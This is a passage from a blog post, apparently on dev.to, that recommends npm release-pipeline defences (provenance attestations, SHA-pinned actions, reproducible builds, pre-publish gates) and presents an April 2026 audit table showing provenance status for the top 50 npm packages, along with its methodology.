&lt;p&gt;There's a fourth gap, and this one's almost trivial but almost nobody enforces it.&lt;/p&gt;

&lt;p&gt;If your workflow runs &lt;code&gt;npm publish&lt;/code&gt; without first running &lt;code&gt;npm test&lt;/code&gt;, &lt;code&gt;npm run lint&lt;/code&gt;, and &lt;code&gt;npm run typecheck&lt;/code&gt; and&lt;br&gt;
failing the publish if any of them fail, you've left a window for shipping broken code by accident.&lt;/p&gt;

&lt;p&gt;This isn't a supply-chain attack class on its own. But it compounds the others. If your tests would have caught a&lt;br&gt;
malicious commit but they didn't run before the publish, the malicious commit ships. If your linter would have flagged&lt;br&gt;
the suspicious &lt;code&gt;eval()&lt;/code&gt; but it didn't run, the flag is silent.&lt;/p&gt;

&lt;p&gt;Every reasonable release pipeline should have hard pre-publish gates. Most don't. Adding them to a workflow is a few&lt;br&gt;
dozen lines of YAML and an afternoon of debugging your jobs DAG.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full defence is four things
&lt;/h2&gt;

&lt;p&gt;Pulling this together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Provenance attestations&lt;/strong&gt;: link the tarball to a specific source commit and workflow&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SHA-pinned action dependencies&lt;/strong&gt;: actions can't be swapped under you&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reproducible build verification&lt;/strong&gt;: third parties can verify the tarball matches source&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard pre-publish gates&lt;/strong&gt;: tests, lint, type-check must pass or no release&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each one is honestly, not that hard on its own. The problem is doing all four, getting them right and keeping them right&lt;br&gt;
as your workflow evolves, and... not breaking anything in the process.&lt;/p&gt;

&lt;p&gt;A typical release workflow trying to do all four ends up at 200 to 400 lines of YAML, with shell scripts inlined as&lt;br&gt;
&lt;code&gt;run:&lt;/code&gt; blocks, error handling that's easy to get wrong, and edge cases (what if the tag doesn't match the version?, what&lt;br&gt;
if the changelog is missing?, what if the prepack script tries to escape the JSON parser?) that mostly get discovered&lt;br&gt;
the hard way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to start
&lt;/h2&gt;

&lt;p&gt;The two-line provenance fix is the easiest win. Ship that today, please. Whichever package you maintain, your downstream&lt;br&gt;
users are better off for it.&lt;/p&gt;

&lt;p&gt;For the rest (SHA-pinning, reproducibility verification, pre-publish gates), wire them into your own workflow as you&lt;br&gt;
have time. The four ideas matter more than any particular implementation.&lt;/p&gt;

&lt;p&gt;If you'd rather start from a worked example, i've been hacking on a small GitHub Action&lt;br&gt;
called &lt;a href="https://github.com/forgesworn/anvil" rel="noopener noreferrer"&gt;anvil&lt;/a&gt; that bundles all four. Pure bash, no npm dependencies, sized to be&lt;br&gt;
readable end-to-end. Take it, fork it, ignore it, whatever's useful for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What none of this covers
&lt;/h2&gt;

&lt;p&gt;Even with all four protections in place, three things stay outside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compromise of your source repo.&lt;/strong&gt; If an attacker has commit access and pushes malicious code, the pipeline will
faithfully build, attest, and publish that code. Garbage in, signed garbage out. The defence here is branch
protections, code review, and a trusted committer set.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromise of npm itself.&lt;/strong&gt; The attestation infrastructure trusts npm's registry to serve attestation files
honestly. If npm is compromised, all bets are off across the ecosystem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak tests.&lt;/strong&gt; Pre-publish gates fire if your tests pass. Weak tests mean weak gates. The pipeline audits your
release process, not your code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These protections make the publishing journey trustworthy. They don't make your code trustworthy. Different problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full data
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Weekly DLs&lt;/th&gt;
&lt;th&gt;Latest&lt;/th&gt;
&lt;th&gt;Provenance?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;semver&lt;/td&gt;
&lt;td&gt;610,243,244&lt;/td&gt;
&lt;td&gt;7.7.4&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;debug&lt;/td&gt;
&lt;td&gt;532,691,311&lt;/td&gt;
&lt;td&gt;4.4.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;minimatch&lt;/td&gt;
&lt;td&gt;523,461,265&lt;/td&gt;
&lt;td&gt;10.2.5&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ansi-styles&lt;/td&gt;
&lt;td&gt;522,769,972&lt;/td&gt;
&lt;td&gt;6.2.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;strip-ansi&lt;/td&gt;
&lt;td&gt;411,102,176&lt;/td&gt;
&lt;td&gt;7.2.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;chalk&lt;/td&gt;
&lt;td&gt;396,817,233&lt;/td&gt;
&lt;td&gt;5.6.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;ms&lt;/td&gt;
&lt;td&gt;395,779,232&lt;/td&gt;
&lt;td&gt;2.1.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;supports-color&lt;/td&gt;
&lt;td&gt;385,913,524&lt;/td&gt;
&lt;td&gt;10.2.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;ansi-regex&lt;/td&gt;
&lt;td&gt;379,372,821&lt;/td&gt;
&lt;td&gt;6.2.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;string-width&lt;/td&gt;
&lt;td&gt;364,135,592&lt;/td&gt;
&lt;td&gt;8.2.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;commander&lt;/td&gt;
&lt;td&gt;340,189,824&lt;/td&gt;
&lt;td&gt;14.0.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;tslib&lt;/td&gt;
&lt;td&gt;337,234,183&lt;/td&gt;
&lt;td&gt;2.8.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;picomatch&lt;/td&gt;
&lt;td&gt;323,026,531&lt;/td&gt;
&lt;td&gt;4.0.4&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;wrap-ansi&lt;/td&gt;
&lt;td&gt;320,436,278&lt;/td&gt;
&lt;td&gt;10.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;emoji-regex&lt;/td&gt;
&lt;td&gt;312,985,608&lt;/td&gt;
&lt;td&gt;10.6.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;309,837,287&lt;/td&gt;
&lt;td&gt;13.0.6&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;@types/node&lt;/td&gt;
&lt;td&gt;290,430,824&lt;/td&gt;
&lt;td&gt;25.6.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;color-name&lt;/td&gt;
&lt;td&gt;264,344,627&lt;/td&gt;
&lt;td&gt;2.1.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;color-convert&lt;/td&gt;
&lt;td&gt;262,462,195&lt;/td&gt;
&lt;td&gt;3.1.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;readable-stream&lt;/td&gt;
&lt;td&gt;261,917,376&lt;/td&gt;
&lt;td&gt;4.7.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;eslint-visitor-keys&lt;/td&gt;
&lt;td&gt;254,322,113&lt;/td&gt;
&lt;td&gt;5.0.1&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;has-flag&lt;/td&gt;
&lt;td&gt;250,891,975&lt;/td&gt;
&lt;td&gt;5.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;ajv&lt;/td&gt;
&lt;td&gt;249,009,348&lt;/td&gt;
&lt;td&gt;8.18.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;react-is&lt;/td&gt;
&lt;td&gt;245,659,013&lt;/td&gt;
&lt;td&gt;19.2.5&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;uuid&lt;/td&gt;
&lt;td&gt;230,086,504&lt;/td&gt;
&lt;td&gt;13.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;find-up&lt;/td&gt;
&lt;td&gt;229,152,120&lt;/td&gt;
&lt;td&gt;8.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;glob-parent&lt;/td&gt;
&lt;td&gt;226,159,537&lt;/td&gt;
&lt;td&gt;6.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;safe-buffer&lt;/td&gt;
&lt;td&gt;222,239,808&lt;/td&gt;
&lt;td&gt;5.2.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;locate-path&lt;/td&gt;
&lt;td&gt;220,855,701&lt;/td&gt;
&lt;td&gt;8.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;postcss&lt;/td&gt;
&lt;td&gt;195,793,780&lt;/td&gt;
&lt;td&gt;8.5.9&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31&lt;/td&gt;
&lt;td&gt;string_decoder&lt;/td&gt;
&lt;td&gt;188,111,762&lt;/td&gt;
&lt;td&gt;1.3.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;acorn&lt;/td&gt;
&lt;td&gt;183,503,639&lt;/td&gt;
&lt;td&gt;8.16.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;mime-db&lt;/td&gt;
&lt;td&gt;180,737,586&lt;/td&gt;
&lt;td&gt;1.54.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;ws&lt;/td&gt;
&lt;td&gt;177,306,431&lt;/td&gt;
&lt;td&gt;8.20.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;mime-types&lt;/td&gt;
&lt;td&gt;177,084,777&lt;/td&gt;
&lt;td&gt;3.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;path-key&lt;/td&gt;
&lt;td&gt;176,474,004&lt;/td&gt;
&lt;td&gt;4.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;yargs-parser&lt;/td&gt;
&lt;td&gt;170,472,845&lt;/td&gt;
&lt;td&gt;22.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;yargs&lt;/td&gt;
&lt;td&gt;167,217,371&lt;/td&gt;
&lt;td&gt;18.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;estraverse&lt;/td&gt;
&lt;td&gt;166,362,125&lt;/td&gt;
&lt;td&gt;5.3.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;esbuild&lt;/td&gt;
&lt;td&gt;164,021,497&lt;/td&gt;
&lt;td&gt;0.28.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;typescript&lt;/td&gt;
&lt;td&gt;163,781,296&lt;/td&gt;
&lt;td&gt;6.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;fs-extra&lt;/td&gt;
&lt;td&gt;161,928,194&lt;/td&gt;
&lt;td&gt;11.3.4&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;agent-base&lt;/td&gt;
&lt;td&gt;159,319,294&lt;/td&gt;
&lt;td&gt;9.0.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;cliui&lt;/td&gt;
&lt;td&gt;157,997,558&lt;/td&gt;
&lt;td&gt;9.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;path-exists&lt;/td&gt;
&lt;td&gt;157,258,167&lt;/td&gt;
&lt;td&gt;5.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;json5&lt;/td&gt;
&lt;td&gt;157,069,492&lt;/td&gt;
&lt;td&gt;2.2.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;eslint-scope&lt;/td&gt;
&lt;td&gt;155,326,676&lt;/td&gt;
&lt;td&gt;9.1.2&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;get-stream&lt;/td&gt;
&lt;td&gt;154,148,256&lt;/td&gt;
&lt;td&gt;9.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;
&lt;a class="mentioned-user" href="https://dev.to/babel"&gt;@babel&lt;/a&gt;/code-frame&lt;/td&gt;
&lt;td&gt;153,078,228&lt;/td&gt;
&lt;td&gt;7.29.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;
&lt;a class="mentioned-user" href="https://dev.to/babel"&gt;@babel&lt;/a&gt;/types&lt;/td&gt;
&lt;td&gt;152,109,091&lt;/td&gt;
&lt;td&gt;7.29.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Methodology
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Audit date&lt;/strong&gt;: 13 April 2026&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Download ranking&lt;/strong&gt;: npm public downloads API (&lt;code&gt;api.npmjs.org/downloads/point/last-week/&amp;lt;pkg&amp;gt;&lt;/code&gt;), aggregated from a
candidate pool of around 868 high-traffic packages including the full &lt;code&gt;@types/*&lt;/code&gt;, &lt;code&gt;@babel/*&lt;/code&gt;, framework families,
build tooling, ESLint plugins, and common scoped packages, then sorted by weekly downloads&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provenance check&lt;/strong&gt;: &lt;code&gt;registry.npmjs.org/-/npm/v1/attestations/&amp;lt;pkg&amp;gt;@&amp;lt;version&amp;gt;&lt;/code&gt;, verifying &lt;code&gt;slsa.dev/provenance/v1&lt;/code&gt;
predicate type&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification&lt;/strong&gt;: each positive result had its DSSE envelope payload decoded and inspected for
&lt;code&gt;predicate.buildDefinition.externalParameters.workflow&lt;/code&gt; to confirm the binding to source&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The ranking is accurate to within a few positions inside the top 50. The 6/50 headline is unaffected by minor rank&lt;br&gt;
swaps. Raw audit data available on request.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>security</category>
      <category>npm</category>
    </item>
  </channel>
</rss>
